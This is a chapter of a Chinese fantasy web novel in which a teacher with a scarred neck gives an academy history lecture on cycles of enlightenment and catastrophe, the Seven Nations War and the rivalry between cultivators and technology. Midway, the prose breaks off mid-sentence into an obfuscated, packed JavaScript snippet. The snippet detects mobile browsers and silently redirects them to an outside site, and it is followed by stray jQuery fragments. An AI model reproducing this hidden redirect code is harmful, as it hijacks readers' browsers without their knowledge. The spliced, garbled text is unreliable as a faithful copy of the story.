奉元学府第一堂课，是历史。
“这谁家私塾没教过，再不然上书肆里随便买本书都能学个五六七八。”
“要我看选这门课的，八成是其他课没把握，拿历史来凑数。”
季献桃：“……”骂得好脏。
她面色不善，看向侃侃而谈的卫千秋，“那你呢？”
卫千秋话音戛然而止，撇撇嘴，“哥嫌我文化修养不够，硬把我赶过来的。”
干得漂亮！
季献桃嘴角翘起，得意洋洋摊手，“你看，历史课这不就有用了？”
卫千秋幽幽道：“对挽回殿下面子是挺有用的。”
季献桃：“……”
刚刚是哪个王八犊子说她文化修养不够的？
她扭过头去，不理人了。
这时，历史课老师走了进来，模样看上去也就不过二十，乍一眼还以为是与他们一样的学生。
细长眉，丹凤眼，生了一副薄情寡义的面容，秾丽纤长的眼睫却在眼角如工笔般轻轻一勾，绘出说不尽的风情与诡诈。
尤其这人脖颈上，攀爬了一圈肖似蜈蚣的狰狞疤痕，像是被斩首过后生生缝上。
“诸位日安。”他笑着拱了拱手，视线扫过台下众学生，瞥见季献桃时，微微一顿，若无其事转开。
“在下枭刑，是你们的历史课老师。”
学生们道了声好。
枭刑走下讲台，从袖中取出一本书籍，放在了离他最近的学生桌面，又依次分发给其他学生，“诸位想必十分好奇。”
“奉元学府乃潜心修炼的地方，开设一门历史课所为何意？”
走近季献桃这桌时，她再次察觉到此人目光在自己身上多停留了一会儿，心底陡生警觉。
枭刑回到了讲桌前，赧然摸摸鼻子，“实不相瞒，不久前我还是诸位的学长，一朝成为老师却自觉修炼不到家，不好意思误人子弟，就先从简单的课程教起。”
季献桃压低声音问卫千秋，“你觉不觉得这老师贼眉鼠眼一直盯着我瞧？”
不曾想，卫千秋非但点头，还一副见怪不怪的样子，“要换成是我，也得把你盯穿。”
季献桃：“？”
卫千秋解释道：“枭老师都说了，他从前是奉元学府的学生。”
“在他那一届毕业生里有最拔尖的三人，天赋异禀，前途无量，其中一个是他，当上了天阳国师的徒弟，已经是公认的准国师。”
“另一个是无道大将军之女，楼兰越，也是我偶像来着。”
卫千秋语气突然兴奋，“今年年初时，率八千轻骑奇袭大破西戎守关，也破了无道边境长期与西戎焦灼的状态，自此一战成名。”
“最后一个。”她恢复了平静，说着忽然看向季献桃。
季献桃：“……不会是我想的那个吧？”
卫千秋沉痛道：“不错，就是驸马谢天青，境遇与前两个可谓天渊之别。”
“要我在毕业后听说同学英年早婚，还碰巧遇到早婚对象，当然得一个劲儿好奇瞅瞅。”
季献桃先是恍然大悟，随即不理解地问，“……你为什么突然坐得离我那么远？”
卫千秋屁股挪挪，恨不得离她七八丈远，听闻这个问题，理直气壮道：“坐殿下身边太显眼，我怕被点名回答问题。”
季献桃：“！”
不知道是巧合，还是听到了她们的对话恶趣味作祟。
枭刑言笑晏晏道：“那边那位同学，对，就是平寰公主，可否回答我一个问题？”
季献桃生无可恋地站了起来，旁边是大松一口气的卫千秋。
好在枭刑的问题十分简单，简单到路边随便拉一个人都能回答一二，“请为我们讲述从古至今的时代划分。”
季献桃麻溜地说：“上古时期神巫治世，第一次启智时代后仙神共治，第二次启智时代天朝一统。”
枭刑颔首，叫她可以坐下了，“回答正确。”
语气却说不上满意，反而颇有几分遗憾，“我知道史书上就是这样记载的，可毕竟是开设于奉元学府的历史课，总得让我讲些不一样的新东西。”
枭刑指尖轻掐法诀，教室倏地暗了下来，昏黑之中有灵力光点亮起，组成各式图案。
一边是虎首蛇尾的凶兽，另一边是七手八脚的怪异人形物，却有一群兽皮衣小人被它们夹在中间瑟瑟发抖。
“上古时，妖魔、妖兽与人混居，彼时世上只有凡人，终日被逼迫得朝不保夕。”
金光忽而大亮，一道面目模糊的身影携漫天云霞降临，驱散凶兽与妖魔，拈花一笑后点化为首小人的额心。
枭刑徐徐道：“神灵降世，救世人于水火，人族中或有资质者成为侍奉神灵的大巫。”
“后来，就是众所周知的第一次启智时代。”
灵气光点蓦地聚散，原先的兽皮裙小人此时衣带当风，飘飘然欲登仙。
“人类学会了修炼，引天地灵气入体，以身合道，羽化飞升。”
枭刑看向不知不觉沉浸的众学生，拔高了些许声音，“接下来是我要提出的新观点，第一次灾变。”
众人纷纷醒神，眼中流露明显的困惑。
枭刑将长袖一挥，灵力化景又转变为一幅新的绘卷，天地间风起云涌，登仙小人脚下的天梯突兀断绝。
他叹息道：“飞升通道闭合，仙人被迫留在了此方世界，却因自身过于强大不安定，效仿天生法则化身的神灵，炼化天道规则以求平衡。”
“将妖魔驱逐出境，留下可驯化的妖兽与人共存，开启了又一个长达数万年的仙神共治时代。”
有学生想举手发言。
枭刑却先一步洞悉他的疑惑，“飞升通道闭合被划分进第一次启智时代，这点我当然清楚，且先听我慢慢道来。”
“第二次启智时代，科技侧出现，也就是我们口中的赛博蛮子。”
枭刑肃容道：“而这也是我构想中的第二次灾变，自此仙神逐渐消亡，仙神共治的时代结束，来到了人族第一个大一统王朝。”
“新历元年，天朝建立。”
枭刑一字一顿道：“新历2146年，第三次灾变发生，致使九重天阙崩塌，王氏主脉死绝。”
底下已有天阳的学生，神情从悲痛转为愤懑，“枭大人怎能将那叛贼的累累罪行，用一句莫名其妙的灾变给推脱了！”
无道的学员嗤笑出声，也不出言反驳，只是冷眼看着天阳内部狗咬狗。
枭刑虽依旧笑着，笑容却十分冷冽，“课堂之上不分国界，再者说，你们当真认为彼时的叶将军有能力使九重天阙坠落？”
天阳学子沉默下来，这下轮到无道学子怒目而视。
至于大启，跟他们公主一样津津有味吃瓜。
枭刑故作苦恼，敲了敲头疼的脑袋，“我将九重天阙的坠落列为第三次灾变，自然有我的理由，现在的后辈怎么就是沉稳不了性子听我说呢？”
他目光淡漠，仿佛在以某种超脱的视角俯瞰历史长河兴衰变迁，“直到一千多年后，新历3527年，七国之战爆发。”
“如我这般的俗人才得以看清，九重天阙的一鳞半爪，与这片中洲大陆的真面目。”
“道统之争。”他沉声吐出这几个字。
学生们终于停下了争吵与质疑，不约
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362043|167635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而同静默下来。
枭刑：“你们大启国的先帝，我就不评价了。”
季献桃没想到吃瓜这么久，似乎要吃到自己头上了，猝不及防一愣。
“总之那时大启国力衰微，已经到了亡国的关头。”枭刑随口点评，“而我的同行老前辈，大启国师司命戎，联合新上任的皇帝，一手导演了七国之战的发生。”
“司命戎游说蛮夷，将他们放入关内，同时大启放弃诸多领土，将有剩力量退守至边关险隘。”
“由摄政王率兵把守，皇帝于幕后调度。”
“就这样，除了大启最大程度置身事外，其余六国开始了史无前例的一场混战，不知为何就杀得停不下来，硬生生将正值鼎盛的国力杀到了与那即将败亡的大启同一水平！”
“甚至于一位九境天人，陨落在了向来被瞧不起的蛮夷手中！”
“经此一战，四方蛮夷紧急撤出中洲，天阳、无道两国收拾残兵败将，复盘时才后知后觉意识到那大启国师司命戎究竟做了什么。”
“他洞悉了天朝极力隐瞒的一件事。”
枭刑声色俱厉，却让人莫名觉得苦涩，“蛮夷实乃正道。”
“科技侧的知识对我们修士有单方面不可逆的污染，何尝不是一种有容乃大居高临下的吞并，这只能说明，修仙者才是背道而驰的那一方。”
“这片中洲大陆乃道统所在，七国之战是一次被人为提前的道统之争。”
“以大启的国力，再如何合纵连横也无力挽回颓势。”
“于是大启国师便想出了一招毒计——
“借天地大势坑杀六国。”
死寂。
在场学生或多或少都听过家中长辈对这件事的评价，就算是寒门学子也有所耳闻，可大多讳莫如深语焉不详。
这还是第一次，被人如此直白又残酷地点明真相。
枭刑见气氛过于凝重，干笑了几声，“好像偏题了，这节是历史课而不是吹嘘我那老前辈的。”
“七国之战后，虽明面上没有签订任何条约，但各国早已心照不宣。”
“科技侧看清他们迟早胜利的事实，不急于对我们动手，而是呈四方围猎之势静待修士衰落，再一争霸主之位。”
“至于三国这边，默契停战，联合创办了这所奉元学府，只求为天下修士寻一条生路。”
枭刑总结道：“天地有大势，三次灾变结束了三个时代。”
“第四次灾变的真容，已经被司命戎一己之力揭开，那就是道统之争。”
“那么问题来了。”
“纵观历史这个轮回，往往按照启智、灾变、改朝换代的规律发展。”
“第一次启智人类学会修炼，此后飞升通道闭合，神巫治世转变为仙神共治。”
“第二次启智科技侧出现，仙神消亡而天朝一统。”
“第四次灾变乃人为提前暂且不论。”
“第三次灾变导致九重天阙一夕之间崩塌。”
“当然还有一种可能，天朝败落非天灾而乃人祸，道统之争才是真正的第三次灾变，身在此局中，我无法看清全貌。”
枭刑眼眸微阖，“但无论如何，启智时代共出现两次，灾变却至少有三回，数量对不上。”
“所以，第三次启智时代，究竟去了哪儿呢？”
“会不会在我们所有人未曾意识到的地方，早已悄然发生？”
底下所有学生顿时愣住，忽觉毛骨悚然。
枭刑见状竖起食指，轻轻抵在唇前，“鄙人拙见而已，其中多有疏漏，不必当真。”
他随意宣布道：“就说到这里了，下课。”